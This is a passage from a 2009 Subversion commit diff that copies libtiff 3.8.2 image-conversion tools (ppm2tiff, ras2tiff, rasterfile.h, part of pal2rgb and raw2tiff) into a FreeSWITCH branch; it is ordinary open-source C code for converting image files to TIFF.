+    { TIFFTAG_REFERENCEBLACKWHITE,	(uint16) -1,TIFF_RATIONAL },
+};
+#define	NTAGS	(sizeof (tags) / sizeof (tags[0]))
+
+static void
+cpTags(TIFF* in, TIFF* out)
+{
+    struct cpTag *p;
+    for (p = tags; p < &tags[NTAGS]; p++)
+	cpTag(in, out, p->tag, p->count, p->type);
+}
+#undef NTAGS
+
+char* stuff[] = {
+"usage: pal2rgb [options] input.tif output.tif",
+"where options are:",
+" -p contig	pack samples contiguously (e.g. RGBRGB...)",
+" -p separate	store samples separately (e.g. RRR...GGG...BBB...)",
+" -r #		make each strip have no more than # rows",
+" -C 8		assume 8-bit colormap values (instead of 16-bit)",
+" -C 16		assume 16-bit colormap values",
+"",
+" -c lzw[:opts]	compress output with Lempel-Ziv & Welch encoding",
+" -c zip[:opts]	compress output with deflate encoding",
+" -c packbits	compress output with packbits encoding",
+" -c none	use no compression algorithm on output",
+"",
+"LZW and deflate options:",
+" #		set predictor value",
+"For example, -c lzw:2 to get LZW-encoded data with horizontal differencing",
+NULL
+};
+
+static void
+usage(void)
+{
+	char buf[BUFSIZ];
+	int i;
+
+	setbuf(stderr, buf);
+        fprintf(stderr, "%s\n\n", TIFFGetVersion());
+	for (i = 0; stuff[i] != NULL; i++)
+		fprintf(stderr, "%s\n", stuff[i]);
+	exit(-1);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/ppm2tiff.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/ppm2tiff.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/ppm2tiff.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/ppm2tiff.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/ppm2tiff.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,350 @@
+/* $Id: ppm2tiff.c,v 1.12 2006/03/01 10:41:24 dron Exp $ */
+
+/*
+ * Copyright (c) 1991-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <ctype.h>
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#include "tiffio.h"
+
+#ifndef HAVE_GETOPT
+extern int getopt(int, char**, char*);
+#endif
+
+#if defined(_WINDOWS) || defined(MSDOS)
+#define BINMODE "b"
+#else
+#define	BINMODE
+#endif
+
+#define	streq(a,b)	(strcmp(a,b) == 0)
+#define	strneq(a,b,n)	(strncmp(a,b,n) == 0)
+
+static	uint16 compression = COMPRESSION_PACKBITS;
+static	uint16 predictor = 0;
+static	int quality = 75;	/* JPEG quality */
+static	int jpegcolormode = JPEGCOLORMODE_RGB;
+static  uint32 g3opts;
+
+static	void usage(void);
+static	int processCompressOptions(char*);
+
+static void
+BadPPM(char* file)
+{
+	fprintf(stderr, "%s: Not a PPM file.\n", file);
+	exit(-2);
+}
+
+int
+main(int argc, char* argv[])
+{
+	uint16 photometric = 0;
+	uint32 rowsperstrip = (uint32) -1;
+	double resolution = -1;
+	unsigned char *buf = NULL;
+	tsize_t linebytes = 0;
+	uint16 spp = 1;
+	uint16 bpp = 8;
+	TIFF *out;
+	FILE *in;
+	unsigned int w, h, prec, row;
+	char *infile;
+	int c;
+	extern int optind;
+	extern char* optarg;
+
+	if (argc < 2) {
+	    fprintf(stderr, "%s: Too few arguments\n", argv[0]);
+	    usage();
+	}
+	while ((c = getopt(argc, argv, "c:r:R:")) != -1)
+		switch (c) {
+		case 'c':		/* compression scheme */
+			if (!processCompressOptions(optarg))
+				usage();
+			break;
+		case 'r':		/* rows/strip */
+			rowsperstrip = atoi(optarg);
+			break;
+		case 'R':		/* resolution */
+			resolution = atof(optarg);
+			break;
+		case '?':
+			usage();
+			/*NOTREACHED*/
+		}
+
+	if (optind + 2 < argc) {
+	    fprintf(stderr, "%s: Too many arguments\n", argv[0]);
+	    usage();
+	}
+
+	/*
+	 * If only one file is specified, read input from
+	 * stdin; otherwise usage is: ppm2tiff input output.
+	 */
+	if (argc - optind > 1) {
+		infile = argv[optind++];
+		in = fopen(infile, "r" BINMODE);
+		if (in == NULL) {
+			fprintf(stderr, "%s: Can not open.\n", infile);
+			return (-1);
+		}
+	} else {
+		infile = "<stdin>";
+		in = stdin;
+	}
+
+	if (fgetc(in) != 'P')
+		BadPPM(infile);
+	switch (fgetc(in)) {
+		case '4':			/* it's a PBM file */
+			bpp = 1;
+			spp = 1;
+			photometric = PHOTOMETRIC_MINISWHITE;
+			break;
+		case '5':			/* it's a PGM file */
+			bpp = 8;
+			spp = 1;
+			photometric = PHOTOMETRIC_MINISBLACK;
+			break;
+		case '6':			/* it's a PPM file */
+			bpp = 8;
+			spp = 3;
+			photometric = PHOTOMETRIC_RGB;
+			if (compression == COMPRESSION_JPEG &&
+			    jpegcolormode == JPEGCOLORMODE_RGB)
+				photometric = PHOTOMETRIC_YCBCR;
+			break;
+		default:
+			BadPPM(infile);
+	}
+
+	/* Parse header */
+	while(1) {
+		if (feof(in))
+			BadPPM(infile);
+		c = fgetc(in);
+		/* Skip whitespaces (blanks, TABs, CRs, LFs) */
+		if (strchr(" \t\r\n", c))
+			continue;
+
+		/* Check for comment line */
+		if (c == '#') {
+			do {
+			    c = fgetc(in);
+			} while(!strchr("\r\n", c) || feof(in));
+			continue;
+		}
+
+		ungetc(c, in);
+		break;
+	}
+	switch (bpp) {
+	case 1:
+		if (fscanf(in, " %u %u", &w, &h) != 2)
+			BadPPM(infile);
+		if (fgetc(in) != '\n')
+			BadPPM(infile);
+		break;
+	case 8:
+		if (fscanf(in, " %u %u %u", &w, &h, &prec) != 3)
+			BadPPM(infile);
+		if (fgetc(in) != '\n' || prec != 255)
+			BadPPM(infile);
+		break;
+	}
+	out = TIFFOpen(argv[optind], "w");
+	if (out == NULL)
+		return (-4);
+	TIFFSetField(out, TIFFTAG_IMAGEWIDTH, (uint32) w);
+	TIFFSetField(out, TIFFTAG_IMAGELENGTH, (uint32) h);
+	TIFFSetField(out, TIFFTAG_ORIENTATION, ORIENTATION_TOPLEFT);
+	TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, spp);
+	TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, bpp);
+	TIFFSetField(out, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
+	TIFFSetField(out, TIFFTAG_PHOTOMETRIC, photometric);
+	TIFFSetField(out, TIFFTAG_COMPRESSION, compression);
+	switch (compression) {
+	case COMPRESSION_JPEG:
+		TIFFSetField(out, TIFFTAG_JPEGQUALITY, quality);
+		TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, jpegcolormode);
+		break;
+	case COMPRESSION_LZW:
+	case COMPRESSION_DEFLATE:
+		if (predictor != 0)
+			TIFFSetField(out, TIFFTAG_PREDICTOR, predictor);
+		break;
+        case COMPRESSION_CCITTFAX3:
+		TIFFSetField(out, TIFFTAG_GROUP3OPTIONS, g3opts);
+		break;
+	}
+	switch (bpp) {
+		case 1:
+			linebytes = (spp * w + (8 - 1)) / 8;
+			if (rowsperstrip == (uint32) -1) {
+				TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, h);
+			} else {
+				TIFFSetField(out, TIFFTAG_ROWSPERSTRIP,
+				    TIFFDefaultStripSize(out, rowsperstrip));
+			}
+			break;
+		case 8:
+			linebytes = spp * w;
+			TIFFSetField(out, TIFFTAG_ROWSPERSTRIP,
+			    TIFFDefaultStripSize(out, rowsperstrip));
+			break;
+	}
+	if (TIFFScanlineSize(out) > linebytes)
+		buf = (unsigned char *)_TIFFmalloc(linebytes);
+	else
+		buf = (unsigned char *)_TIFFmalloc(TIFFScanlineSize(out));
+	if (resolution > 0) {
+		TIFFSetField(out, TIFFTAG_XRESOLUTION, resolution);
+		TIFFSetField(out, TIFFTAG_YRESOLUTION, resolution);
+		TIFFSetField(out, TIFFTAG_RESOLUTIONUNIT, RESUNIT_INCH);
+	}
+	for (row = 0; row < h; row++) {
+		if (fread(buf, linebytes, 1, in) != 1) {
+			fprintf(stderr, "%s: scanline %lu: Read error.\n",
+			    infile, (unsigned long) row);
+			break;
+		}
+		if (TIFFWriteScanline(out, buf, row, 0) < 0)
+			break;
+	}
+	(void) TIFFClose(out);
+	if (buf)
+		_TIFFfree(buf);
+	return (0);
+}
+
+static void
+processG3Options(char* cp)
+{
+	g3opts = 0;
+        if( (cp = strchr(cp, ':')) ) {
+                do {
+                        cp++;
+                        if (strneq(cp, "1d", 2))
+                                g3opts &= ~GROUP3OPT_2DENCODING;
+                        else if (strneq(cp, "2d", 2))
+                                g3opts |= GROUP3OPT_2DENCODING;
+                        else if (strneq(cp, "fill", 4))
+                                g3opts |= GROUP3OPT_FILLBITS;
+                        else
+                                usage();
+                } while( (cp = strchr(cp, ':')) );
+        }
+}
+
+static int
+processCompressOptions(char* opt)
+{
+	if (streq(opt, "none"))
+		compression = COMPRESSION_NONE;
+	else if (streq(opt, "packbits"))
+		compression = COMPRESSION_PACKBITS;
+	else if (strneq(opt, "jpeg", 4)) {
+		char* cp = strchr(opt, ':');
+
+                compression = COMPRESSION_JPEG;
+                while (cp)
+                {
+                    if (isdigit((int)cp[1]))
+			quality = atoi(cp+1);
+                    else if (cp[1] == 'r' )
+			jpegcolormode = JPEGCOLORMODE_RAW;
+                    else
+                        usage();
+
+                    cp = strchr(cp+1,':');
+                }
+	} else if (strneq(opt, "g3", 2)) {
+		processG3Options(opt);
+		compression = COMPRESSION_CCITTFAX3;
+	} else if (streq(opt, "g4")) {
+		compression = COMPRESSION_CCITTFAX4;
+	} else if (strneq(opt, "lzw", 3)) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			predictor = atoi(cp+1);
+		compression = COMPRESSION_LZW;
+	} else if (strneq(opt, "zip", 3)) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			predictor = atoi(cp+1);
+		compression = COMPRESSION_DEFLATE;
+	} else
+		return (0);
+	return (1);
+}
+
+char* stuff[] = {
+"usage: ppm2tiff [options] input.ppm output.tif",
+"where options are:",
+" -r #		make each strip have no more than # rows",
+" -R #		set x&y resolution (dpi)",
+"",
+" -c jpeg[:opts]  compress output with JPEG encoding",
+" -c lzw[:opts]	compress output with Lempel-Ziv & Welch encoding",
+" -c zip[:opts]	compress output with deflate encoding",
+" -c packbits	compress output with packbits encoding (the default)",
+" -c g3[:opts]  compress output with CCITT Group 3 encoding",
+" -c g4         compress output with CCITT Group 4 encoding",
+" -c none	use no compression algorithm on output",
+"",
+"JPEG options:",
+" #		set compression quality level (0-100, default 75)",
+" r		output color image as RGB rather than YCbCr",
+"LZW and deflate options:",
+" #		set predictor value",
+"For example, -c lzw:2 to get LZW-encoded data with horizontal differencing",
+NULL
+};
+
+static void
+usage(void)
+{
+	char buf[BUFSIZ];
+	int i;
+
+	setbuf(stderr, buf);
+        fprintf(stderr, "%s\n\n", TIFFGetVersion());
+	for (i = 0; stuff[i] != NULL; i++)
+		fprintf(stderr, "%s\n", stuff[i]);
+	exit(-1);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/ras2tiff.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/ras2tiff.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/ras2tiff.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/ras2tiff.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/ras2tiff.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,303 @@
+/* $Id: ras2tiff.c,v 1.14 2006/01/11 17:03:43 fwarmerdam Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <ctype.h>
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#include "rasterfile.h"
+#include "tiffio.h"
+
+#ifndef howmany
+#define	howmany(x, y)	(((x)+((y)-1))/(y))
+#endif
+#define	streq(a,b)	(strcmp(a,b) == 0)
+#define	strneq(a,b,n)	(strncmp(a,b,n) == 0)
+
+#ifndef BINMODE
+#define	BINMODE
+#endif
+
+static	uint16 compression = (uint16) -1;
+static	int jpegcolormode = JPEGCOLORMODE_RGB;
+static	int quality = 75;		/* JPEG quality */
+static	uint16 predictor = 0;
+
+static void usage(void);
+static	int processCompressOptions(char*);
+
+int
+main(int argc, char* argv[])
+{
+	unsigned char* buf;
+	long row;
+	tsize_t linebytes, scanline;
+	TIFF *out;
+	FILE *in;
+	struct rasterfile h;
+	uint16 photometric;
+	uint16 config = PLANARCONFIG_CONTIG;
+	uint32 rowsperstrip = (uint32) -1;
+	int c;
+	extern int optind;
+	extern char* optarg;
+
+	while ((c = getopt(argc, argv, "c:r:h")) != -1)
+		switch (c) {
+		case 'c':		/* compression scheme */
+			if (!processCompressOptions(optarg))
+				usage();
+			break;
+		case 'r':		/* rows/strip */
+			rowsperstrip = atoi(optarg);
+			break;
+		case 'h':
+			usage();
+			/*NOTREACHED*/
+		}
+	if (argc - optind != 2)
+		usage();
+	in = fopen(argv[optind], "r" BINMODE);
+	if (in == NULL) {
+		fprintf(stderr, "%s: Can not open.\n", argv[optind]);
+		return (-1);
+	}
+	if (fread(&h, sizeof (h), 1, in) != 1) {
+		fprintf(stderr, "%s: Can not read header.\n", argv[optind]);
+		return (-2);
+	}
+	if (strcmp(h.ras_magic, RAS_MAGIC) == 0) {
+#ifndef WORDS_BIGENDIAN
+			TIFFSwabLong((uint32 *)&h.ras_width);
+			TIFFSwabLong((uint32 *)&h.ras_height);
+			TIFFSwabLong((uint32 *)&h.ras_depth);
+			TIFFSwabLong((uint32 *)&h.ras_length);
+			TIFFSwabLong((uint32 *)&h.ras_type);
+			TIFFSwabLong((uint32 *)&h.ras_maptype);
+			TIFFSwabLong((uint32 *)&h.ras_maplength);
+#endif
+	} else if (strcmp(h.ras_magic, RAS_MAGIC_INV) == 0) {
+#ifdef WORDS_BIGENDIAN
+			TIFFSwabLong((uint32 *)&h.ras_width);
+			TIFFSwabLong((uint32 *)&h.ras_height);
+			TIFFSwabLong((uint32 *)&h.ras_depth);
+			TIFFSwabLong((uint32 *)&h.ras_length);
+			TIFFSwabLong((uint32 *)&h.ras_type);
+			TIFFSwabLong((uint32 *)&h.ras_maptype);
+			TIFFSwabLong((uint32 *)&h.ras_maplength);
+#endif
+	} else {
+		fprintf(stderr, "%s: Not a rasterfile.\n", argv[optind]);
+		return (-3);
+	}
+	out = TIFFOpen(argv[optind+1], "w");
+	if (out == NULL)
+		return (-4);
+	TIFFSetField(out, TIFFTAG_IMAGEWIDTH, (uint32) h.ras_width);
+	TIFFSetField(out, TIFFTAG_IMAGELENGTH, (uint32) h.ras_height);
+	TIFFSetField(out, TIFFTAG_ORIENTATION, ORIENTATION_TOPLEFT);
+	TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, h.ras_depth > 8 ? 3 : 1);
+	TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, h.ras_depth > 1 ? 8 : 1);
+	TIFFSetField(out, TIFFTAG_PLANARCONFIG, config);
+	if (h.ras_maptype != RMT_NONE) {
+		uint16* red;
+		register uint16* map;
+		register int i, j;
+		int mapsize;
+
+		buf = (unsigned char *)_TIFFmalloc(h.ras_maplength);
+		if (buf == NULL) {
+			fprintf(stderr, "No space to read in colormap.\n");
+			return (-5);
+		}
+		if (fread(buf, h.ras_maplength, 1, in) != 1) {
+			fprintf(stderr, "%s: Read error on colormap.\n",
+			    argv[optind]);
+			return (-6);
+		}
+		mapsize = 1<<h.ras_depth; 
+		if (h.ras_maplength > mapsize*3) {
+			fprintf(stderr,
+			    "%s: Huh, %ld colormap entries, should be %d?\n",
+			    argv[optind], h.ras_maplength, mapsize*3);
+			return (-7);
+		}
+		red = (uint16*)_TIFFmalloc(mapsize * 3 * sizeof (uint16));
+		if (red == NULL) {
+			fprintf(stderr, "No space for colormap.\n");
+			return (-8);
+		}
+		map = red;
+		for (j = 0; j < 3; j++) {
+#define	SCALE(x)	(((x)*((1L<<16)-1))/255)
+			for (i = h.ras_maplength/3; i-- > 0;)
+				*map++ = SCALE(*buf++);
+			if ((i = h.ras_maplength/3) < mapsize) {
+				i = mapsize - i;
+				_TIFFmemset(map, 0, i*sizeof (uint16));
+				map += i;
+			}
+		}
+		TIFFSetField(out, TIFFTAG_COLORMAP,
+		     red, red + mapsize, red + 2*mapsize);
+		photometric = PHOTOMETRIC_PALETTE;
+		if (compression == (uint16) -1)
+			compression = COMPRESSION_PACKBITS;
+		TIFFSetField(out, TIFFTAG_COMPRESSION, compression);
+	} else {
+		/* XXX this is bogus... */
+		photometric = h.ras_depth == 24 ?
+		    PHOTOMETRIC_RGB : PHOTOMETRIC_MINISBLACK;
+		if (compression == (uint16) -1)
+			compression = COMPRESSION_LZW;
+		TIFFSetField(out, TIFFTAG_COMPRESSION, compression);
+	}
+	switch (compression) {
+	case COMPRESSION_JPEG:
+		if (photometric == PHOTOMETRIC_RGB && jpegcolormode == JPEGCOLORMODE_RGB)
+			photometric = PHOTOMETRIC_YCBCR;
+		TIFFSetField(out, TIFFTAG_JPEGQUALITY, quality);
+		TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, jpegcolormode);
+		break;
+	case COMPRESSION_LZW:
+	case COMPRESSION_DEFLATE:
+		if (predictor != 0)
+			TIFFSetField(out, TIFFTAG_PREDICTOR, predictor);
+		break;
+	}
+	TIFFSetField(out, TIFFTAG_PHOTOMETRIC, photometric);
+	linebytes = ((h.ras_depth*h.ras_width+15) >> 3) &~ 1;
+	scanline = TIFFScanlineSize(out);
+	if (scanline > linebytes) {
+		buf = (unsigned char *)_TIFFmalloc(scanline);
+		_TIFFmemset(buf+linebytes, 0, scanline-linebytes);
+	} else
+		buf = (unsigned char *)_TIFFmalloc(linebytes);
+	TIFFSetField(out, TIFFTAG_ROWSPERSTRIP,
+	    TIFFDefaultStripSize(out, rowsperstrip));
+	for (row = 0; row < h.ras_height; row++) {
+		if (fread(buf, linebytes, 1, in) != 1) {
+			fprintf(stderr, "%s: scanline %ld: Read error.\n",
+			    argv[optind], row);
+			break;
+		}
+		if (h.ras_type == RT_STANDARD && h.ras_depth == 24) {
+			tsize_t cc = h.ras_width;
+			unsigned char* cp = buf;
+#define	SWAP(a,b)	{ unsigned char t = (a); (a) = (b); (b) = t; }
+			do {
+				SWAP(cp[0], cp[2]);
+				cp += 3;
+			} while (--cc);
+		}
+		if (TIFFWriteScanline(out, buf, row, 0) < 0)
+			break;
+	}
+	(void) TIFFClose(out);
+	return (0);
+}
+
+static int
+processCompressOptions(char* opt)
+{
+	if (streq(opt, "none"))
+		compression = COMPRESSION_NONE;
+	else if (streq(opt, "packbits"))
+		compression = COMPRESSION_PACKBITS;
+	else if (strneq(opt, "jpeg", 4)) {
+		char* cp = strchr(opt, ':');
+
+                compression = COMPRESSION_JPEG;
+                while( cp )
+                {
+                    if (isdigit((int)cp[1]))
+			quality = atoi(cp+1);
+                    else if (cp[1] == 'r' )
+			jpegcolormode = JPEGCOLORMODE_RAW;
+                    else
+                        usage();
+
+                    cp = strchr(cp+1,':');
+                }
+	} else if (strneq(opt, "lzw", 3)) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			predictor = atoi(cp+1);
+		compression = COMPRESSION_LZW;
+	} else if (strneq(opt, "zip", 3)) {
+		char* cp = strchr(opt, ':');
+		if (cp)
+			predictor = atoi(cp+1);
+		compression = COMPRESSION_DEFLATE;
+	} else
+		return (0);
+	return (1);
+}
+
+char* stuff[] = {
+"usage: ras2tiff [options] input.ras output.tif",
+"where options are:",
+" -r #		make each strip have no more than # rows",
+"",
+" -c lzw[:opts]	compress output with Lempel-Ziv & Welch encoding",
+" -c zip[:opts]	compress output with deflate encoding",
+" -c jpeg[:opts]	compress output with JPEG encoding",
+" -c packbits	compress output with packbits encoding",
+" -c none	use no compression algorithm on output",
+"",
+"JPEG options:",
+" #		set compression quality level (0-100, default 75)",
+" r		output color image as RGB rather than YCbCr",
+"For example, -c jpeg:r:50 to get JPEG-encoded RGB data with 50% comp. quality",
+"",
+"LZW and deflate options:",
+" #		set predictor value",
+"For example, -c lzw:2 to get LZW-encoded data with horizontal differencing",
+" -h		this help message",
+NULL
+};
+
+static void
+usage(void)
+{
+	char buf[BUFSIZ];
+	int i;
+
+	setbuf(stderr, buf);
+        fprintf(stderr, "%s\n\n", TIFFGetVersion());
+	for (i = 0; stuff[i] != NULL; i++)
+		fprintf(stderr, "%s\n", stuff[i]);
+	exit(-1);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/rasterfile.h

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/rasterfile.h (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/rasterfile.h) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/rasterfile.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/rasterfile.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,42 @@
+/* $Header: /cvs/maptools/cvsroot/libtiff/tools/rasterfile.h,v 1.3 2003/11/12 19:14:33 dron Exp $ */
+
+/*
+ * Description of header for files containing raster images
+ */
+struct rasterfile {
+	char	ras_magic[4];		/* magic number */
+	long	ras_width;		/* width (pixels) of image */
+	long	ras_height;		/* height (pixels) of image */
+	long	ras_depth;		/* depth (1, 8, or 24 bits) of pixel */
+	long	ras_length;		/* length (bytes) of image */
+	long	ras_type;		/* type of file; see RT_* below */
+	long	ras_maptype;		/* type of colormap; see RMT_* below */
+	long	ras_maplength;		/* length (bytes) of following map */
+	/* color map follows for ras_maplength bytes, followed by image */
+};
+#define	RAS_MAGIC	"\x59\xa6\x6a\x95"
+#define	RAS_MAGIC_INV	"\x95\x6a\xa6\x59"
+
+	/* Sun supported ras_type's */
+#define RT_OLD		0	/* Raw pixrect image in 68000 byte order */
+#define RT_STANDARD	1	/* Raw pixrect image in 68000 byte order */
+#define RT_BYTE_ENCODED	2	/* Run-length compression of bytes */
+#define RT_EXPERIMENTAL 0xffff	/* Reserved for testing */
+
+	/* Sun registered ras_maptype's */
+#define RMT_RAW		2
+	/* Sun supported ras_maptype's */
+#define RMT_NONE	0	/* ras_maplength is expected to be 0 */
+#define RMT_EQUAL_RGB	1	/* red[ras_maplength/3],green[],blue[] */
+
+/*
+ * NOTES:
+ * 	Each line of the image is rounded out to a multiple of 16 bits.
+ *   This corresponds to the rounding convention used by the memory pixrect
+ *   package (/usr/include/pixrect/memvar.h) of the SunWindows system.
+ *	The ras_encoding field (always set to 0 by Sun's supported software)
+ *   was renamed to ras_length in release 2.0.  As a result, rasterfiles
+ *   of type 0 generated by the old software claim to have 0 length; for
+ *   compatibility, code reading rasterfiles must be prepared to compute the
+ *   true length from the width, height, and depth fields.
+ */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/raw2tiff.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/raw2tiff.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/raw2tiff.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/raw2tiff.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/raw2tiff.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,640 @@
+/* $Id: raw2tiff.c,v 1.23 2006/03/23 14:54:02 dron Exp $
+ *
+ * Project:  libtiff tools
+ * Purpose:  Convert raw byte sequences in TIFF images
+ * Author:   Andrey Kiselev, dron@ak4719.spb.edu
+ *
+ ******************************************************************************
+ * Copyright (c) 2002, Andrey Kiselev <dron@ak4719.spb.edu>
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <math.h>
+#include <ctype.h>
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#if HAVE_FCNTL_H
+# include <fcntl.h>
+#endif
+
+#if HAVE_SYS_TYPES_H
+# include <sys/types.h>
+#endif
+
+#if HAVE_IO_H
+# include <io.h>
+#endif
+
+#include "tiffio.h"
+
+#ifndef HAVE_GETOPT
+extern int getopt(int, char**, char*);
+#endif
+
+#ifndef O_BINARY
+# define O_BINARY 0
+#endif
+
+typedef enum {
+	PIXEL,
+	BAND
+} InterleavingType;
+
+static	uint16 compression = (uint16) -1;
+static	int jpegcolormode = JPEGCOLORMODE_RGB;
+static	int quality = 75;		/* JPEG quality */
+static	uint16 predictor = 0;
+
+static void swapBytesInScanline(void *, uint32, TIFFDataType);
+static int guessSize(int, TIFFDataType, off_t, uint32, int,
+		     uint32 *, uint32 *);
+static double correlation(void *, void *, uint32, TIFFDataType);
+static void usage(void);
+static	int processCompressOptions(char*);
+
+int
+main(int argc, char* argv[])
+{
+	uint32	width = 0, length = 0, linebytes, bufsize;
+	uint32	nbands = 1;		    /* number of bands in input image*/
+	off_t	hdr_size = 0;		    /* size of the header to skip */
+	TIFFDataType dtype = TIFF_BYTE;
+	int16	depth = 1;		    /* bytes per pixel in input image */
+	int	swab = 0;		    /* byte swapping flag */
+	InterleavingType interleaving = 0;  /* interleaving type flag */
+	uint32  rowsperstrip = (uint32) -1;
+	uint16	photometric = PHOTOMETRIC_MINISBLACK;
+	uint16	config = PLANARCONFIG_CONTIG;
+	uint16	fillorder = FILLORDER_LSB2MSB;
+	int	fd;
+	char	*outfilename = NULL;
+	TIFF	*out;
+
+	uint32 row, col, band;
+	int	c;
+	unsigned char *buf = NULL, *buf1 = NULL;
+	extern int optind;
+	extern char* optarg;
